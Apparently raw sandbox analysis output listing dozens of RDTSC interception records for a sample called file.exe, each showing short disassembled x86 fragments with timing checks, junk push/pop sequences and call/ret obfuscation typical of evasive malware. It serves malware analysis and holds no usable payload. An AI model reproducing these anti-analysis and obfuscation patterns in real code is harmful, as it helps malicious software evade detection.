Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F860B9 second address: F860C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82F38 second address: F82F42 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9ACD05C366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82F42 second address: F82F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82F48 second address: F82F5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86F4B second address: F86F63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F9ACCBE48C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86F63 second address: F86F80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F9ACD05C373h 0x00000010 jmp 00007F9ACD05C36Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86F80 second address: F86FF3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007F9ACCBE48C6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F9ACCBE48C8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 xor ebx, 3B30BA0Ch 0x0000002d push 00000000h 0x0000002f sub ebx, dword ptr [ebp+122D1DE1h] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007F9ACCBE48C8h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 0000001Ah 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 mov bx, B531h 0x00000055 add ebx, dword ptr [ebp+122DB849h] 0x0000005b push eax 0x0000005c push ecx 0x0000005d push eax 0x0000005e push edx 0x0000005f jnc 00007F9ACCBE48C6h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87EE6 second address: F87EEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88ECA second address: F88F59 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9ACCBE48CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d and edi, dword ptr [ebp+122D3849h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F9ACCBE48C8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f mov ebx, dword ptr [ebp+122D36D8h] 0x00000035 mov dword ptr [ebp+122D2A0Ah], eax 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebp 0x00000040 call 00007F9ACCBE48C8h 0x00000045 pop ebp 0x00000046 mov dword ptr [esp+04h], ebp 0x0000004a add dword ptr [esp+04h], 0000001Ah 0x00000052 inc ebp 0x00000053 push ebp 0x00000054 ret 0x00000055 pop ebp 0x00000056 ret 0x00000057 mov edi, dword ptr [ebp+122D1F54h] 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jc 00007F9ACCBE48DDh 0x00000066 jmp 00007F9ACCBE48D7h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88053 second address: F88059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B7A2 second address: F8B7A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B7A6 second address: F8B81C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9ACD05C366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F9ACD05C36Bh 0x00000012 jmp 00007F9ACD05C376h 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F9ACD05C368h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 mov bx, 677Eh 0x00000037 add edi, 4437CE54h 0x0000003d push 00000000h 0x0000003f mov di, 9BC9h 0x00000043 push 00000000h 0x00000045 movzx ebx, dx 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jno 00007F9ACD05C36Ch 0x00000051 js 00007F9ACD05C366h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C7C6 second address: F8C7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C7CA second address: F8C7D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BA0C second address: F8BA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C7D0 second address: F8C7DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C7DE second address: F8C859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b nop 0x0000000c and ebx, 01523DA6h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F9ACCBE48C8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e or edi, dword ptr [ebp+122D3965h] 0x00000034 mov ebx, ecx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F9ACCBE48C8h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000016h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 jmp 00007F9ACCBE48D8h 0x00000057 push eax 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b push edx 0x0000005c pop edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D879 second address: F8D8C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F9ACD05C368h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 sbb di, AFA0h 0x00000029 push 00000000h 0x0000002b push edi 0x0000002c mov ebx, dword ptr [ebp+122D3945h] 0x00000032 pop edi 0x00000033 push 00000000h 0x00000035 sub dword ptr [ebp+122D2B0Eh], edx 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d jp 00007F9ACD05C36Ch 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D8C9 second address: F8D8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D8D1 second address: F8D8E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F9ACD05C366h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D8E3 second address: F8D8ED instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9ACCBE48C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E88B second address: F8E8CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov ebx, 40C6C983h 0x00000010 push 00000000h 0x00000012 mov edi, 2AB26CE6h 0x00000017 push 00000000h 0x00000019 jmp 00007F9ACD05C374h 0x0000001e xchg eax, esi 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F9ACD05C373h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E8CE second address: F8E8D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D9F4 second address: F8DA02 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F9ACD05C366h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E8D4 second address: F8E8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8DA02 second address: F8DAA2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9ACD05C366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push esi 0x0000000f jmp 00007F9ACD05C370h 0x00000014 pop edi 0x00000015 push dword ptr fs:[00000000h] 0x0000001c jg 00007F9ACD05C36Ch 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 mov bl, 92h 0x0000002b add di, 3EDEh 0x00000030 mov eax, dword ptr [ebp+122D0055h] 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F9ACD05C368h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 0000001Dh 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov di, si 0x00000053 movsx edi, si 0x00000056 or dword ptr [ebp+122D35C0h], ebx 0x0000005c push FFFFFFFFh 0x0000005e push 00000000h 0x00000060 push edx 0x00000061 call 00007F9ACD05C368h 0x00000066 pop edx 0x00000067 mov dword ptr [esp+04h], edx 0x0000006b add dword ptr [esp+04h], 00000014h 0x00000073 inc edx 0x00000074 push edx 0x00000075 ret 0x00000076 pop edx 0x00000077 ret 0x00000078 nop 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c jne 00007F9ACD05C366h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E8D8 second address: F8E8DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E8DC second address: F8E8EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E8EB second address: F8E8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E8EF second address: F8E90A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C377h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F995 second address: F8F9A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F9ACCBE48C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F9A0 second address: F8FA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F9ACD05C368h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 jmp 00007F9ACD05C371h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F9ACD05C368h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 00000014h 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push ecx 0x0000004a call 00007F9ACD05C368h 0x0000004f pop ecx 0x00000050 mov dword ptr [esp+04h], ecx 0x00000054 add dword ptr [esp+04h], 00000017h 0x0000005c inc ecx 0x0000005d push ecx 0x0000005e ret 0x0000005f pop ecx 0x00000060 ret 0x00000061 or dword ptr [ebp+122D1B1Ah], ecx 0x00000067 push eax 0x00000068 push ebx 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F9ACD05C36Ch 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90BCD second address: F90BE7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9ACCBE48C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9ACCBE48CEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90BE7 second address: F90C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F9ACD05C36Dh 0x0000000d nop 0x0000000e or di, D100h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F9ACD05C368h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov bx, dx 0x00000032 sub dword ptr [ebp+1247EF3Ch], ebx 0x00000038 push 00000000h 0x0000003a mov edi, 5D36F301h 0x0000003f push eax 0x00000040 jns 00007F9ACD05C370h 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 pop eax 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91BC1 second address: F91C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F9ACCBE48D4h 0x0000000b jmp 00007F9ACCBE48CEh 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 jns 00007F9ACCBE48D0h 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F9ACCBE48C8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 mov ebx, edx 0x00000036 push 00000000h 0x00000038 adc bx, EE35h 0x0000003d jmp 00007F9ACCBE48D9h 0x00000042 push 00000000h 0x00000044 mov dword ptr [ebp+122D198Dh], esi 0x0000004a push eax 0x0000004b pushad 0x0000004c push eax 0x0000004d jp 00007F9ACCBE48C6h 0x00000053 pop eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jp 00007F9ACCBE48C6h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93C3E second address: F93C93 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F9ACD05C370h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e add edi, dword ptr [ebp+122D3809h] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F9ACD05C368h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 movsx ebx, si 0x00000033 push 00000000h 0x00000035 movzx ebx, cx 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pop edx 0x0000003e pop eax 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94C57 second address: F94CD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F9ACCBE48C8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov ebx, 65D59DE9h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F9ACCBE48C8h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 pushad 0x00000049 sub dword ptr [ebp+122DB849h], edx 0x0000004f popad 0x00000050 push 00000000h 0x00000052 mov bx, ED63h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a push ebx 0x0000005b pop ebx 0x0000005c jno 00007F9ACCBE48C6h 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93DF2 second address: F93E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F9ACD05C370h 0x0000000c popad 0x0000000d push eax 0x0000000e jo 00007F9ACD05C383h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F9ACD05C375h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96CC4 second address: F96CE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9ACCBE48D1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jc 00007F9ACCBE48C6h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96CE3 second address: F96D02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C374h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41926 second address: F4193A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9ACCBE48C6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4193A second address: F4193F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F52E second address: F9F532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F532 second address: F9F538 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F538 second address: F9F558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9ACCBE48D5h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F558 second address: F9F578 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9ACD05C372h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F9ACD05C36Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32806 second address: F3280D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3280D second address: F3283E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C377h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jmp 00007F9ACD05C371h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3283E second address: F32843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9EC63 second address: F9EC69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9EC69 second address: F9EC73 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9ACCBE48C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9EC73 second address: F9EC87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F9ACD05C366h 0x0000000e jng 00007F9ACD05C366h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9EC87 second address: F9ECD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9ACCBE48D8h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F9ACCBE48E3h 0x00000017 jmp 00007F9ACCBE48D7h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9ECD5 second address: F9ECE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007F9ACD05C36Dh 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9ECE8 second address: F9ECEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA604D second address: FA6051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6051 second address: FA6087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jns 00007F9ACCBE48CAh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jno 00007F9ACCBE48D9h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6087 second address: FA608B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA608B second address: FA60A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007F9ACCBE48CEh 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC1A1 second address: FAC1A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB4C0 second address: FAB4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB7DD second address: FAB7ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F9ACD05C372h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
